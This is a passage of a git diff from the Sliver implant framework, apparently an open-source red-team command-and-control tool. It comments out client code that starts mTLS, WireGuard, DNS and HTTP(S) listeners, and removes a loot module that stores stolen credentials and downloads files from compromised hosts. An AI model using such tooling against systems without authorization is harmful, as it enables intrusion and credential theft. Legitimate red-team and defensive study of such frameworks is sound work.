"%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port) - } - table.Flush() -} - -func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - server := ctx.Flags.String("server") - lport := uint16(ctx.Flags.Int("lport")) - - fmt.Printf(Info + "Starting mTLS listener ...\n") - mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{ - Host: server, - Port: uint32(lport), - Persistent: ctx.Flags.Bool("persistent"), - }) - if err != nil { - fmt.Printf("\n"+Warn+"%s\n", err) - } else { - fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID) - } -} - -func startWGListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - lport := uint16(ctx.Flags.Int("lport")) - nport := uint16(ctx.Flags.Int("nport")) - keyExchangePort := uint16(ctx.Flags.Int("key-port")) - - fmt.Printf(Info + "Starting Wireguard listener ...\n") - wg, err := rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{ - Port: uint32(lport), - NPort: uint32(nport), - KeyPort: uint32(keyExchangePort), - Persistent: ctx.Flags.Bool("persistent"), - }) - if err != nil { - fmt.Printf("\n"+Warn+"%s\n", err) - } else { - fmt.Printf("\n"+Info+"Successfully started job #%d\n", wg.JobID) - } -} - -func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - - domains := strings.Split(ctx.Flags.String("domains"), ",") - for _, domain := range domains { - if !strings.HasSuffix(domain, ".") { - domain += "." - } - } - - lport := uint16(ctx.Flags.Int("lport")) - - fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains) - dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{ - Domains: domains, - Port: uint32(lport), - Canaries: !ctx.Flags.Bool("no-canaries"), - Persistent: ctx.Flags.Bool("persistent"), - }) - if err != nil { - fmt.Printf("\n"+Warn+"%s\n", err) - } else { - fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID) - } -} - -func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - domain := ctx.Flags.String("domain") - website := ctx.Flags.String("website") - lport := uint16(ctx.Flags.Int("lport")) - - cert, key, err := getLocalCertificatePair(ctx) - if err != nil { - fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err) - return - } - - fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport) - https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{ - Domain: domain, - Website: website, - Port: uint32(lport), - Secure: true, - Cert: cert, - Key: key, - ACME: ctx.Flags.Bool("lets-encrypt"), - Persistent: ctx.Flags.Bool("persistent"), - }) - if err != nil { - fmt.Printf("\n"+Warn+"%s\n", err) - } else { - fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID) - } -} - -func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) { - if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" { - return nil, nil, nil - } - cert, err := ioutil.ReadFile(ctx.Flags.String("cert")) - if err != nil { - return nil, nil, err - } - key, err := ioutil.ReadFile(ctx.Flags.String("key")) - if err != nil { - return nil, nil, err - } - return cert, key, nil -} - -func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - domain := ctx.Flags.String("domain") - lport := uint16(ctx.Flags.Int("lport")) - - fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport) - http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{ - Domain: domain, - Website: ctx.Flags.String("website"), - Port: uint32(lport), - Secure: false, - Persistent: ctx.Flags.Bool("persistent"), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info+"Successfully started job #%d\n", http.JobID) - } -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" +// "io/ioutil" +// "os" +// "sort" +// "strings" +// "text/tabwriter" + +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" + +// // "github.com/bishopfox/sliver/protobuf/sliverpb" + +// "github.com/desertbit/grumble" +// // "github.com/golang/protobuf/proto" +// ) + +// func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// if ctx.Flags.Int("kill") != -1 { +// killJob(uint32(ctx.Flags.Int("kill")), rpc) +// } else if ctx.Flags.Bool("kill-all") { +// killAllJobs(rpc) +// } else { +// jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// // Convert to a map +// activeJobs := map[uint32]*clientpb.Job{} +// for _, job := range jobs.Active { +// activeJobs[job.ID] = job +// } +// if 0 < len(activeJobs) { +// printJobs(activeJobs) +// } else { +// fmt.Printf(Info + "No active jobs\n") +// } +// } +// } + +// func killAllJobs(rpc rpcpb.SliverRPCClient) { +// jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// for _, job := range jobs.Active { +// killJob(job.ID, rpc) +// } +// } + +// func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) { +// fmt.Printf(Info+"Killing job #%d ...\n", jobID) +// jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{ +// ID: jobID, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID) +// } +// } + +// func printJobs(jobs map[uint32]*clientpb.Job) { +// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) +// fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("ID")), +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("Protocol")), +// strings.Repeat("=", len("Port"))) + +// var keys []int +// for _, job := range jobs { +// keys = append(keys, int(job.ID)) +// } +// sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's + +// for _, k := range keys { +// job := jobs[uint32(k)] +// fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port) +// } +// table.Flush() +// } + +// func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// server := ctx.Flags.String("server") +// lport := uint16(ctx.Flags.Int("lport")) + +// fmt.Printf(Info + "Starting mTLS listener ...\n") +// mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{ +// Host: server, +// Port: uint32(lport), +// Persistent: ctx.Flags.Bool("persistent"), +// }) +// if err != nil { +// fmt.Printf("\n"+Warn+"%s\n", err) +// } else { +// fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID) +// } +// } + +// func startWGListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// lport := uint16(ctx.Flags.Int("lport")) +// nport := uint16(ctx.Flags.Int("nport")) +// keyExchangePort := uint16(ctx.Flags.Int("key-port")) + +// fmt.Printf(Info + "Starting Wireguard listener ...\n") +// wg, err := rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{ +// Port: uint32(lport), +// NPort: uint32(nport), +// KeyPort: uint32(keyExchangePort), +// Persistent: ctx.Flags.Bool("persistent"), +// }) +// if err != nil { +// fmt.Printf("\n"+Warn+"%s\n", err) +// } else { +// fmt.Printf("\n"+Info+"Successfully started job #%d\n", wg.JobID) +// } +// } + +// func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { + +// domains := strings.Split(ctx.Flags.String("domains"), ",") +// for _, domain := range domains { +// if !strings.HasSuffix(domain, ".") { +// domain += "." +// } +// } + +// lport := uint16(ctx.Flags.Int("lport")) + +// fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains) +// dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{ +// Domains: domains, +// Port: uint32(lport), +// Canaries: !ctx.Flags.Bool("no-canaries"), +// Persistent: ctx.Flags.Bool("persistent"), +// }) +// if err != nil { +// fmt.Printf("\n"+Warn+"%s\n", err) +// } else { +// fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID) +// } +// } + +// func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// domain := ctx.Flags.String("domain") +// website := ctx.Flags.String("website") +// lport := uint16(ctx.Flags.Int("lport")) + +// cert, key, err := getLocalCertificatePair(ctx) +// if err != nil { +// fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err) +// return +// } + +// fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport) +// https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{ +// Domain: domain, +// Website: website, +// Port: uint32(lport), +// Secure: true, +// Cert: cert, +// Key: key, +// ACME: ctx.Flags.Bool("lets-encrypt"), +// Persistent: ctx.Flags.Bool("persistent"), +// }) +// if err != nil { +// fmt.Printf("\n"+Warn+"%s\n", err) +// } else { +// fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID) +// } +// } + +// func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) { +// if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" { +// return nil, nil, nil +// } +// cert, err := ioutil.ReadFile(ctx.Flags.String("cert")) +// if err != nil { +// return nil, nil, err +// } +// key, err := ioutil.ReadFile(ctx.Flags.String("key")) +// if err != nil { +// return nil, nil, err +// } +// return cert, key, nil +// } + +// func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// domain := ctx.Flags.String("domain") +// lport := uint16(ctx.Flags.Int("lport")) + +// fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport) +// http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{ +// Domain: domain, +// Website: ctx.Flags.String("website"), +// Port: uint32(lport), +// Secure: false, +// Persistent: ctx.Flags.Bool("persistent"), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info+"Successfully started job #%d\n", http.JobID) +// } +// } diff --git a/client/command/loot.go b/client/command/loot.go index 46d2cad431..2753445555 100644 --- a/client/command/loot.go +++ b/client/command/loot.go @@ -1,798 +1,798 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "errors" - "fmt" - "io/ioutil" - "os" - "path" - "strings" - "text/tabwriter" - "unicode/utf8" - - "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/bishopfox/sliver/util/encoders" - "github.com/desertbit/grumble" -) - -var ( - ErrInvalidFileType = errors.New("invalid file type") - ErrInvalidLootType = errors.New("invalid loot type") - ErrNoLootFileData = errors.New("no loot file data") -) - -// --- Loot Helpers for other commands --- - -// AddLootFile - Add a file as loot -func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error { - if len(data) < 1 { - return ErrNoLootFileData - } - var lootType clientpb.LootType - if isCredential { - lootType = clientpb.LootType_LOOT_CREDENTIAL - } else { - lootType = clientpb.LootType_LOOT_FILE - } - var lootFileType clientpb.FileType - if isText(data) || strings.HasSuffix(fileName, ".txt") { - lootFileType = clientpb.FileType_TEXT - } else { - lootFileType = clientpb.FileType_BINARY - } - loot := &clientpb.Loot{ - Name: name, - Type: lootType, - FileType: lootFileType, - File: &commonpb.File{ - Name: path.Base(fileName), - Data: data, - }, - } - if lootType == clientpb.LootType_LOOT_CREDENTIAL { - loot.CredentialType = clientpb.CredentialType_FILE - } - _, err := rpc.LootAdd(context.Background(), loot) - return err -} - -// AddLootUserPassword - Add user/password as loot -func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error { - loot := &clientpb.Loot{ - Name: name, - Type: clientpb.LootType_LOOT_CREDENTIAL, - CredentialType: clientpb.CredentialType_USER_PASSWORD, - Credential: &clientpb.Credential{ - User: user, - Password: password, - }, - } - _, err := rpc.LootAdd(context.Background(), loot) - return err -} - -// AddLootAPIKey - Add a api key as loot -func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error { - loot := &clientpb.Loot{ - Name: name, - Type: clientpb.LootType_LOOT_CREDENTIAL, - CredentialType: clientpb.CredentialType_API_KEY, - Credential: &clientpb.Credential{ - APIKey: apiKey, - }, - } - _, err := rpc.LootAdd(context.Background(), loot) - return err -} - -// --- Loot Command --- -func lootRoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - filter := ctx.Flags.String("filter") - var allLoot *clientpb.AllLoot - var err error - if filter == "" { - allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Failed to fetch loot %s\n", err) - return - } - } else { - lootType, err := lootTypeFromHumanStr(filter) - if err != nil { - fmt.Printf(Warn + "Invalid loot type see --help") - return - } - allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType}) - if err != nil { - fmt.Printf(Warn+"Failed to fetch loot %s\n", err) - return - } - } - if filter == "" { - displayAllLootTable(allLoot) - } else { - lootType, _ := lootTypeFromHumanStr(filter) - switch lootType { - case clientpb.LootType_LOOT_FILE: - displayFileLootTable(allLoot) - case clientpb.LootType_LOOT_CREDENTIAL: - displayCredentialLootTable(allLoot) - } - } -} - -func lootAddLocal(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - localPath := ctx.Args.String("path") - if _, err := os.Stat(localPath); os.IsNotExist(err) { - fmt.Printf(Warn+"Path '%s' not found\n", localPath) - return - } - - name := ctx.Flags.String("name") - if name == "" { - name = path.Base(localPath) - } - - var lootType clientpb.LootType - var err error - lootTypeStr := ctx.Flags.String("type") - if lootTypeStr != "" { - lootType, err = lootTypeFromHumanStr(lootTypeStr) - if err == ErrInvalidLootType { - fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr) - return - } - } else { - lootType = clientpb.LootType_LOOT_FILE - } - - lootFileTypeStr := ctx.Flags.String("file-type") - var lootFileType clientpb.FileType - if lootFileTypeStr != "" { - lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - } else { - if isTextFile(localPath) { - lootFileType = clientpb.FileType_TEXT - } else { - lootFileType = clientpb.FileType_BINARY - } - } - data, err := ioutil.ReadFile(localPath) - if err != nil { - fmt.Printf(Warn+"Failed to read file %s\n", err) - return - } - - loot := &clientpb.Loot{ - Name: name, - Type: lootType, - FileType: lootFileType, - File: &commonpb.File{ - Name: path.Base(localPath), - Data: data, - }, - } - if lootType == clientpb.LootType_LOOT_CREDENTIAL { - loot.CredentialType = clientpb.CredentialType_FILE - } - - ctrl := make(chan bool) - go spin.Until(fmt.Sprintf("Uploading loot from %s", localPath), ctrl) - loot, err = rpc.LootAdd(context.Background(), loot) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } - - fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) -} - -func lootAddRemote(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - remotePath := ctx.Args.String("path") - name := ctx.Flags.String("name") - if name == "" { - name = path.Base(remotePath) - } - - var lootType clientpb.LootType - var err error - lootTypeStr := ctx.Flags.String("type") - if lootTypeStr != "" { - lootType, err = lootTypeFromHumanStr(lootTypeStr) - if err == ErrInvalidLootType { - fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr) - return - } - } else { - lootType = clientpb.LootType_LOOT_FILE - } - - ctrl := make(chan bool) - go spin.Until(fmt.Sprintf("Looting remote file %s", remotePath), ctrl) - - download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{ - Request: ActiveSession.Request(ctx), - Path: remotePath, - }) - if err != nil { - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) // Download failed - return - } - } - - if download.Encoder == "gzip" { - download.Data, err = new(encoders.Gzip).Decode(download.Data) - if err != nil { - fmt.Printf(Warn+"Decoding failed %s", err) - return - } - } - - // Determine type based on download buffer - lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type")) - if lootFileType == -1 || err != nil { - if isText(download.Data) { - lootFileType = clientpb.FileType_TEXT - } else { - lootFileType = clientpb.FileType_BINARY - } - } - loot := &clientpb.Loot{ - Name: name, - Type: lootType, - FileType: lootFileType, - File: &commonpb.File{ - Name: path.Base(remotePath), - Data: download.Data, - }, - } - if lootType == clientpb.LootType_LOOT_CREDENTIAL { - loot.CredentialType = clientpb.CredentialType_FILE - } - - loot, err = rpc.LootAdd(context.Background(), loot) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) -} - -func lootRename(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - loot, err := selectLoot(ctx, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - oldName := loot.Name - newName := "" - prompt := &survey.Input{Message: "Enter new name: "} - survey.AskOne(prompt, &newName) - - loot, err = rpc.LootUpdate(context.Background(), &clientpb.Loot{ - LootID: loot.LootID, - Name: newName, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - fmt.Printf(Info+"Renamed %s -> %s\n", oldName, loot.Name) -} - -func lootRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - loot, err := selectLoot(ctx, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - _, err = rpc.LootRm(context.Background(), loot) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - fmt.Println() - fmt.Printf(clearln + Info + "Removed loot from server\n") -} - -func lootFetch(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - loot, err := selectLoot(ctx, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - loot, err = rpc.LootContent(context.Background(), loot) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - // Handle loot based on its type - switch loot.Type { - case clientpb.LootType_LOOT_FILE: - displayLootFile(loot) - case clientpb.LootType_LOOT_CREDENTIAL: - displayLootCredential(loot) - } - - if ctx.Flags.String("save") != "" { - savedTo, err := saveLootToDisk(ctx, loot) - if err != nil { - fmt.Printf("Failed to save loot %s\n", err) - } - if savedTo != "" { - fmt.Printf(Info+"Saved loot to %s\n", savedTo) - } - } -} - -func lootAddCredential(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - prompt := &survey.Select{ - Message: "Choose a credential type:", - Options: []string{ - clientpb.CredentialType_API_KEY.String(), - clientpb.CredentialType_USER_PASSWORD.String(), - }, - } - credType := "" - survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required)) - name := ctx.Flags.String("name") - if name == "" { - namePrompt := &survey.Input{Message: "Credential Name: "} - fmt.Println() - survey.AskOne(namePrompt, &name) - fmt.Println() - } - - loot := &clientpb.Loot{ - Type: clientpb.LootType_LOOT_CREDENTIAL, - Name: name, - Credential: &clientpb.Credential{}, - } - - switch credType { - case clientpb.CredentialType_USER_PASSWORD.String(): - loot.CredentialType = clientpb.CredentialType_USER_PASSWORD - usernamePrompt := &survey.Input{Message: "Username: "} - survey.AskOne(usernamePrompt, &loot.Credential.User) - passwordPrompt := &survey.Input{Message: "Password: "} - survey.AskOne(passwordPrompt, &loot.Credential.Password) - case clientpb.CredentialType_API_KEY.String(): - loot.CredentialType = clientpb.CredentialType_API_KEY - usernamePrompt := &survey.Input{Message: "API Key: "} - survey.AskOne(usernamePrompt, &loot.Credential.APIKey) - } - - loot, err := rpc.LootAdd(context.Background(), loot) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) -} - -func displayLootFile(loot *clientpb.Loot) { - if loot.File == nil { - return - } - fmt.Println() - - if loot.File.Name != "" { - fmt.Printf("%sFile Name:%s %s\n\n", bold, normal, loot.File.Name) - } - if loot.File.Data != nil && 0 < len(loot.File.Data) { - if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) { - fmt.Printf(string(loot.File.Data)) - } else { - fmt.Printf("<%d bytes of binary data>\n", len(loot.File.Data)) - } - } else { - fmt.Printf("No file data\n") - } -} - -func displayLootCredential(loot *clientpb.Loot) { - fmt.Println() - switch loot.CredentialType { - case clientpb.CredentialType_USER_PASSWORD: - if loot.Credential != nil { - fmt.Printf("%s User:%s %s\n", bold, normal, loot.Credential.User) - fmt.Printf("%sPassword:%s %s\n", bold, normal, loot.Credential.Password) - } - if loot.File != nil { - displayLootFile(loot) - } - case clientpb.CredentialType_API_KEY: - if loot.Credential != nil { - fmt.Printf("%sAPI Key:%s %s\n", bold, normal, loot.Credential.APIKey) - } - if loot.File != nil { - displayLootFile(loot) - } - case clientpb.CredentialType_FILE: - if loot.File != nil { - displayLootFile(loot) - } - default: - fmt.Printf("%v\n", loot.Credential) // Well, let's give it our best - } -} - -// Any loot with a "File" can be saved to disk -func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) { - if loot.File == nil { - return "", errors.New("Loot does not contain a file") - } - - saveTo := ctx.Flags.String("save") - fi, err := os.Stat(saveTo) - if err != nil && !os.IsNotExist(err) { - return "", err - } - if err == nil && fi.IsDir() { - saveTo = path.Join(saveTo, path.Base(loot.File.Name)) - } - if _, err := os.Stat(saveTo); err == nil { - overwrite := false - prompt := &survey.Confirm{Message: "Overwrite local file?"} - survey.AskOne(prompt, &overwrite, nil) - if !overwrite { - return "", nil - } - } - err = ioutil.WriteFile(saveTo, loot.File.Data, 0600) - return saveTo, err -} - -func displayAllLootTable(allLoot *clientpb.AllLoot) { - if allLoot == nil || len(allLoot.Loot) == 0 { - fmt.Printf(Info + "No loot šŸ™\n") - return - } - - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - // Column Headers - fmt.Fprintln(table, "Type\tName\tUUID\t") - fmt.Fprintf(table, "%s\t%s\t%s\t\n", - strings.Repeat("=", len("Type")), - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("UUID")), - ) - for _, loot := range allLoot.Loot { - fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID) - } - - table.Flush() - fmt.Printf(outputBuf.String()) -} - -func displayFileLootTable(allLoot *clientpb.AllLoot) { - if allLoot == nil || len(allLoot.Loot) == 0 { - fmt.Printf(Info + "No loot šŸ™\n") - return - } - - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - // Column Headers - fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("Type")), - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("File Name")), - strings.Repeat("=", len("Size")), - strings.Repeat("=", len("UUID")), - ) - for _, loot := range allLoot.Loot { - if loot.Type != clientpb.LootType_LOOT_FILE { - continue - } - size := 0 - name := "" - if loot.File != nil { - name = loot.File.Name - size = len(loot.File.Data) - } - fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n", - fileTypeToStr(loot.FileType), - loot.Name, - name, - size, - loot.LootID, - ) - } - - table.Flush() - fmt.Printf(outputBuf.String()) -} - -func displayCredentialLootTable(allLoot *clientpb.AllLoot) { - if allLoot == nil || len(allLoot.Loot) == 0 { - fmt.Printf(Info + "No loot šŸ™\n") - return - } - - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - // Column Headers - fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("Type")), - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("User")), - strings.Repeat("=", len("Password")), - strings.Repeat("=", len("API Key")), - strings.Repeat("=", len("File Name")), - strings.Repeat("=", len("UUID")), - ) - for _, loot := range allLoot.Loot { - if loot.Type != clientpb.LootType_LOOT_CREDENTIAL { - continue - } - fileName := "" - if loot.File != nil { - fileName = loot.File.Name - } - user := "" - password := "" - apiKey := "" - if loot.Credential != nil { - user = loot.Credential.User - password = loot.Credential.Password - apiKey = loot.Credential.APIKey - } - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", - credentialTypeToString(loot.CredentialType), - loot.Name, - user, - password, - apiKey, - fileName, - loot.LootID, - ) - } - table.Flush() - fmt.Printf(outputBuf.String()) -} - -func selectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { - - // Fetch data with optional filter - filter := ctx.Flags.String("filter") - var allLoot *clientpb.AllLoot - var err error - if filter == "" { - allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{}) - if err != nil { - return nil, err - } - } else { - lootType, err := lootTypeFromHumanStr(filter) - if err != nil { - return nil, ErrInvalidFileType - } - allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType}) - if err != nil { - return nil, err - } - } - - // Render selection table - buf := bytes.NewBufferString("") - table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) - for _, loot := range allLoot.Loot { - fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID) - } - table.Flush() - options := strings.Split(buf.String(), "\n") - options = options[:len(options)-1] - if len(options) == 0 { - return nil, errors.New("no loot to select from") - } - - selected := "" - prompt := &survey.Select{ - Message: "Select a piece of loot:", - Options: options, - } - err = survey.AskOne(prompt, &selected) - if err != nil { - return nil, err - } - for index, value := range options { - if value == selected { - return allLoot.Loot[index], nil - } - } - return nil, errors.New("loot not found") -} - -func lootTypeToStr(value clientpb.LootType) string { - switch value { - case clientpb.LootType_LOOT_FILE: - return "File" - case clientpb.LootType_LOOT_CREDENTIAL: - return "Credential" - default: - return "" - } -} - -func credentialTypeToString(value clientpb.CredentialType) string { - switch value { - case clientpb.CredentialType_API_KEY: - return "API Key" - case clientpb.CredentialType_USER_PASSWORD: - return "User/Password" - case clientpb.CredentialType_FILE: - return "File" - default: - return "" - } -} - -func fileTypeToStr(value clientpb.FileType) string { - switch value { - case clientpb.FileType_BINARY: - return "Binary" - case clientpb.FileType_TEXT: - return "Text" - default: - return "" - } -} - -func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) { - switch strings.ToLower(value) { - - case "b": - fallthrough - case "bin": - fallthrough - case "binary": - return clientpb.FileType_BINARY, nil - - case "t": - fallthrough - case "utf-8": - fallthrough - case "utf8": - fallthrough - case "txt": - fallthrough - case "text": - return clientpb.FileType_TEXT, nil - - default: - return -1, ErrInvalidFileType - } -} - -func lootTypeFromHumanStr(value string) (clientpb.LootType, error) { - switch strings.ToLower(value) { - - case "c": - fallthrough - case "cred": - fallthrough - case "creds": - fallthrough - case "credentials": - fallthrough - case "credential": - return clientpb.LootType_LOOT_CREDENTIAL, nil - - case "f": - fallthrough - case "files": - fallthrough - case "file": - return clientpb.LootType_LOOT_FILE, nil - - default: - return -1, ErrInvalidLootType - } -} - -// Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69 - -// textExt[x] is true if the extension x indicates a text file, and false otherwise. -var textExt = map[string]bool{ - ".css": false, // Ignore as text - ".js": false, // Ignore as text - ".svg": false, // Ignore as text -} - -// isTextFile reports whether the file has a known extension indicating -// a text file, or if a significant chunk of the specified file looks like -// correct UTF-8; that is, if it is likely that the file contains human- -// readable text. -func isTextFile(filePath string) bool { - // if the extension is known, use it for decision making - if isText, found := textExt[path.Ext(filePath)]; found { - return isText - } - - // the extension is not known; read an initial chunk - // of the file and check if it looks like text - f, err := os.Open(filePath) - if err != nil { - return false - } - defer f.Close() - - var buf [1024]byte - n, err := f.Read(buf[0:]) - if err != nil { - return false - } - - return isText(buf[0:n]) -} - -// isText reports whether a significant prefix of s looks like correct UTF-8; -// that is, if it is likely that s is human-readable text. -func isText(sample []byte) bool { - const max = 1024 // at least utf8.UTFMax - if len(sample) > max { - sample = sample[0:max] - } - for i, c := range string(sample) { - if i+utf8.UTFMax > len(sample) { - // last char may be incomplete - ignore - break - } - if c == 